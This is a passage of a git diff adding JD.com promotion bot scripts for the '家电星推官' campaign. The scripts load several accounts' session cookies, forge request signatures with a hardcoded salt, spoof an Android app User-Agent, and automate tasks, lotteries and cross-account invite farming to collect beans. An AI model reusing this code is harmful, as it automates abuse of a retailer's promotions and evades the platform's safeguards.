taskPostUrl('task/initSuportInfo', 'initSuportInfo',`starId=${$.activeId}`); + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + // console.log(`\n助力结果:${data}`); + data = JSON.parse(data); + if (data['code'] === 200) { + console.log(`账号${$.index} ${$.UserName} ${$.activeId}星推官邀请码:${data.data}`); + $.invites.push({ + inviteId: data.data, + userName: $.UserName, + starId: $.activeId, + index: $.appIndex, + max: false + }) + } else { + console.log(`邀请码获取失败:`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function starRanking() { + return new Promise(async (resolve) => { + const options = taskPostUrl('task/starRanking', 'starRanking', 'starId=bl-gongjun') + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + // console.log(`\n助力结果:${data}`); + data = JSON.parse(data); + if (data['code'] === 200) { + starID = data.data + } else { + console.log(`frontConfig失败:`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function getHomePage() { + return new Promise((resolve) => { + const options = taskPostUrl('task/getList', 'getList', `starId=${$.activeId}`); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 200) { + $.homeData = data; + } else { + console.log(`getList异常`) + } + } else { + console.log(`京东服务器返回空数据`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function doTask(type, id, functionID = 'doBrowse') { + return new Promise(async (resolve) => { + const options = taskPostUrl(`task/${functionID}`, functionID, `starId=${$.activeId}&id=${id}&type=${type}`) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + console.log(`doBrowse做任务结果:${data}`); + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} +function getBrowsePrize(browseId) { + return new Promise(async (resolve) => { + const options = taskPostUrl('task/getBrowsePrize', 'getBrowsePrize', `starId=${$.activeId}&browseId=${browseId}`) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + console.log(`getBrowsePrize做任务结果:${data}`); + data = JSON.parse(data); + if (data && data.code === 200) { + $.beanCount += data.data['jingBean']; + console.log(`获得京豆:${data.data['jingBean']}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function doSupport(shareId) { + return new Promise(async (resolve) => { + const options = taskPostUrl('task/doSupport', 'doSupport', `starId=${$.activeId}&shareId=${shareId}`) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data && data.code === 200) { + if (data['data']['status'] === 6) { + console.log('助力成功') + } + if (data['data']['status'] === 5) $.canHelp = false; + if (data['data']['status'] === 4) $.item['max'] = true; + } + console.log(`助力结果:${JSON.stringify(data)}\n`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function indexInfo() { + return new Promise(async (resolve) => { + const options = taskPostUrl('index/indexInfo', 'indexInfo', `starId=${$.activeId}&type=null`); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data && data.code === 200) { + $.starPrizeVoList = (data.data.starPrizeVoList || []).filter(vo => vo.status === 0 && data.data.myTotalStar >= vo['starGradeNum']); + for (let item of $.starPrizeVoList) { + await lottery(item['id']); + // await $.wait(500); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function lottery(id) { + return new Promise(async (resolve) => { + const options = taskPostUrl('task/lottery', 'lottery', `starId=${$.activeId}&id=${id}`); + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data && data.code === 200) { + if (data.data && data.data.status === 1) { + console.log(`京东账号${$.index} ${$.nickName || $.UserName}恭喜中奖\n【${$.activeId}】星推官抽奖详情${JSON.stringify(data)}\n`); + } else { + console.log(`【${$.activeId}】星推官抽奖:未中奖\n`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function TotalBean() { + return new Promise(async (resolve) => { + const options = { + url: `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + headers: { + Accept: "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Cookie: cookie, + Referer: "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + }, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} +// function getDayPrizeStatus(prizeType, prizeId, status) { +// let r = Date.now().toString(); +// let hi = "07035cabb557f096"; +// let o = hi + r; +// let t = "getDayPrizeStatus"; +// let a = `starId=${$.activeId}&status=${status}&prizeType=${prizeType}&prizeId=${prizeId}`; +// return new Promise(async (resolve) => { +// const options = { +// url: `${JD_API_HOST}/getDayPrizeStatus`, +// body: `starId=${$.activeId}&status=${status}&prizeType=${prizeType}&prizeId=${prizeId}`, +// headers: { +// Accept: "application/json,text/plain, */*", +// "Content-Type": "application/x-www-form-urlencoded", +// "Accept-Encoding": "gzip, deflate, br", +// "Accept-Language": "zh-cn", +// Connection: "keep-alive", +// Cookie: cookie, +// Host: "urvsaggpt.m.jd.com", +// Referer: "https://urvsaggpt.m.jd.com/static/index.html", +// sign: za(a, o, t).toString(), +// timestamp: r, +// "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", +// }, +// }; +// $.post(options, (err, resp, data) => { +// try { +// if (err) { +// console.log(`${JSON.stringify(err)}`); +// console.log(`${$.name} API请求失败,请检查网路重试`); +// } else { +// console.log(`抽奖结果:${data}`); +// // data = JSON.parse(data); +// } +// } catch (e) { +// $.logErr(e, resp); +// } finally { +// resolve(); +// } +// }); +// }); +// } +function taskPostUrl(functionId, t, a) { + let o = '', r = ''; + const time = Date.now(); + // if (t === 'getBrowsePrize') { + // o = "07035cabb557f096" + (time + 6 * 1000); + // r = (time + 6 * 1000).toString() + // } else { + // o = "07035cabb557f096" + time; + // r = time.toString(); + // } + o = "07035cabb557f096" + time; + r = time.toString(); + // let t = "/khc/task/doQuestion"; + // let a = "brandId=555555&questionId=2&result=1" + return { + url: `${JD_API_HOST}/${functionId}`, + body: a, + headers: { + Accept: "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Cookie: cookie, + Host: "guardianstarjd.m.jd.com", + Referer: "https://guardianstarjd.m.jd.com/", + sign: za(a, o, t).toString(), + timestamp: r, + "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, "", "请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie"); + return []; + } + } +} +function taskUrl(function_id) { + let r = Date.now().toString(); + let hi = "07035cabb557f096"; + let o = hi + r; + let t = function_id; + let a = `t=${r}&starId=${$.activeId}`; + return { + url: `${JD_API_HOST}/${function_id}?t=${r}&starId=${$.activeId}`, + headers: { + Accept: "application/json,text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Cookie: cookie, + Host: "urvsaggpt.m.jd.com", + Referer: "https://guardianstarjd.m.jd.com/", + sign: za(a, o, t).toString(), + timestamp: r, + "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + }, + }; +} + +// prettier-ignore +function za(t, e, a) { + var n = "", + i = a.split("?")[1] || ""; + if (t) { + if ("string" == typeof t) n = t + i; + else if ("object" == ka(t)) { + var s = []; + for (var r in t) s.push(r + "=" + t[r]); + n = s.length ? s.join("&") + i : i; + } + } else n = i; + if (n) { + var o = n.split("&").sort().join(""); + return $.md5(o + e); + } + return $.md5(e); +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_xtg_help.js b/jd_xtg_help.js new file mode 100644 index 0000000..7b6c1ab --- /dev/null +++ b/jd_xtg_help.js @@ -0,0 +1,513 @@ +/* +家电星推官好友互助脚本 +家电星推官活动地址:https://3.cn/-1eD1VOa?_ts=1622072397979&utm_source=iosapp&utm_medium=appshare&utm_campaign=t_335139774&utm_term=CopyURL&ad_od=share&gx=RnFtxGZZPTONndRP--twDLBLeC4DoX3_2wf2 +活动时间:2021年5月27日 00:00:00-2021年6月18日 23:59:59 +京豆先到先得!!!!!!!!!!! +出现任务做完没领取的情况,就再运行一次脚本 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#家电星推官好友互助 +0 0 0 * * * jd_xtg_help.js, tag=家电星推官好友互助, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 0 0 * * *" script-path=jd_xtg_help.js,tag=家电星推官好友互助 + +===============Surge================= +家电星推官好友互助 = type=cron,cronexp="0 0 0 * * *",wake-system=1,timeout=3600,script-path=jd_xtg_help.js + +============小火箭========= +家电星推官好友互助 = type=cron,script-path=jd_xtg_help.js, cronexpr="0 0 0 * * *", timeout=3600, enable=true + */ +const $ = new Env("家电星推官好友互助"); +const activeEndTime = "2021/06/18 23:59:59+08:00"; //活动结束时间 +const notify = $.isNode() ? require("./sendNotify") : ""; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = "", allMsg = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...jsonParse($.getdata("CookiesJD") || "[]").map((item) => item.cookie), + ].filter((item) => !!item); +} +let starID = [ + { + "starId": "flp-songqian", + }, + { + "starId": "ykd-liutao", + } +]; +$.allShareId = {}; +const JD_API_HOST = "https://guardianstarjd.m.jd.com/star"; +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/bean/signIndex.action", + { "open-url": "https://bean.m.jd.com/bean/signIndex.action" } + ); + return; + } + cookie = cookiesArr[0]; + await starRanking(); + + //助力功能 + for (let index = 0; index < starID.length; index++) { + $.invites = []; + $.activeId = starID[index]['starId']; + $.appIndex = index + 1; + console.log(`\n获取星推官【${$.activeId}】下的邀请码\n`) + for (let v = 0; v < cookiesArr.length; v++) { + cookie = cookiesArr[v]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = v + 1; + await initSuportInfo(); + } + if ($.invites.length > 0) { + $.allShareId[starID[index]['starId']] = $.invites; + } + } + if (!cookiesArr || cookiesArr.length < 2) return + console.log(`开始自己账号内部互助\n\n`); + for (let v = 0; v < cookiesArr.length; v++) { + cookie = cookiesArr[v]; + $.index = v + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + + for (let oneAppId in $.allShareId) { + let oneAcHelpList = $.allShareId[oneAppId]; + for (let j = 0; j < oneAcHelpList.length; j++) { + $.item = oneAcHelpList[j]; + if ($.UserName === $.item['userName']) continue; + if (!$.item['inviteId'] || $.item['max']) continue + console.log(`账号${$.index} ${$.UserName} 去助力账号 ${$.item['userName']}的第${$.item['index']}个星推官活动【${$.item['starId']}】,邀请码 【${$.item['inviteId']}】`) + $.canHelp = true; + $.activeId = $.item['starId']; + await doSupport($.item['inviteId']); + if (!$.canHelp) { + console.log(`助力机会已耗尽,跳出`); + break;//此处如果break,则遇到第一个活动就无助力机会时,不会继续助力第二个活动了 + } + } + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); +async function showMsg() { + let nowTime = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000; + if (nowTime > new Date(activeEndTime).getTime()) { + $.msg($.name, 'xtg', `请删除或禁用此脚本\n咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`) + } else { + if ($.beanCount) { + $.msg($.name, ``, `京东账号${$.index} ${$.nickName || $.UserName}\n星推官活动获得:${$.beanCount}京豆`); + allMsg += `京东账号${$.index} ${$.nickName || $.UserName}\n星推官活动获得:${$.beanCount}京豆\n`; + } + } +} +async function JD_XTG(flag = false) { + var skuCount = 15, meetingCount = 15; + await getHomePage(); + if ($.homeData && $.homeData.code === 200) { + let { dayTask, supportTask } = $.homeData.data; + if (flag) { + // console.log(`\n===========活动${$.j + 1}-[${starID[$.j]['starId']}] 助力码==========\n${shareId}\n`); + // $.shareID.push(shareId); + } + dayTask = dayTask.filter(vo => (vo['type'] === 'sku' || vo['type'] === 'meeting' || vo['type'] === 'followShop') && vo['finishCount'] !== vo['count']); + for (let item of dayTask) { + if (item['type'] === 'memberShop') { + console.log(`开通【${item['name']}】会员,跳过\n`); + continue + } + if (item['type'] === 'sku') { + meetingCount = item['count']; + console.log(`浏览【${item['name']}】(${item['finishCount']}/${item['count']}),需等待6秒`); + const res = await doTask(item['type'], item["id"]); + const t = Date.now(); + if (res && res.code === 200) { + await $.wait(6 * 1000) + // const b = `browse_task_${$.activeId}_${item["id"]}_${$.time('yyyyMMdd')}_${item['type']}_${t + 7 * 1000}`; + await getBrowsePrize(res.data); + // await getBrowsePrize(b); + } + } + if (item['type'] === 'meeting') { + skuCount = item['count']; + console.log(`浏览会场【${item['name']}】(${item['finishCount']}/${item['count']}),需等待6秒`); + const res = await doTask(item['type'], item["id"]); + const t = Date.now(); + if (res && res.code === 200) { + await $.wait(6 * 1000) + await getBrowsePrize(res.data); + } + } + if (item['type'] === 'followShop') { + console.log(`关注店铺【${item['name']}】(${item['finishCount']}/${item['count']})`); + await doTask(item['type'], item["id"], `followShop`); + } + } + dayTask = dayTask.filter(vo => (vo['type'] === 'sku' || vo['type'] === 'meeting' || vo['type'] === 'followShop') && vo['finishCount'] !== vo['count']); + if (dayTask && dayTask.length) { + $.times += 1; + console.log(`第 ${$.times + 1}次循环执行JD_XTG`) + // await JD_XTG(); + if ($.times <= Math.max(skuCount, meetingCount)) { + // console.log(`第 ${$.times + 1}次循环执行JD_XTG`) + await JD_XTG(); + } else { + console.log(`估计已死循环,不再执行JD_XTG\n`) + } + } else { + console.log(`${$.activeId}星推官任务已做完\n`) + } + } else { + console.log(`京东服务器返回无数据!`); + } +} +//获取邀请码 +function initSuportInfo() { + return new Promise(async (resolve) => { + const options = taskPostUrl('task/initSuportInfo', 'initSuportInfo',`starId=${$.activeId}`); + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + // console.log(`\n助力结果:${data}`); + data = JSON.parse(data); + if (data['code'] === 200) { + console.log(`账号${$.index} ${$.UserName} ${$.activeId}星推官邀请码:${data.data}`); + $.invites.push({ + inviteId: data.data, + userName: $.UserName, + starId: $.activeId, + index: $.appIndex, + max: false + }) + } else { + console.log(`邀请码获取失败:`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function starRanking() { + return new Promise(async (resolve) => { + const options = taskPostUrl('task/starRanking', 'starRanking', 'starId=bl-gongjun') + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + // console.log(`\n助力结果:${data}`); + data = 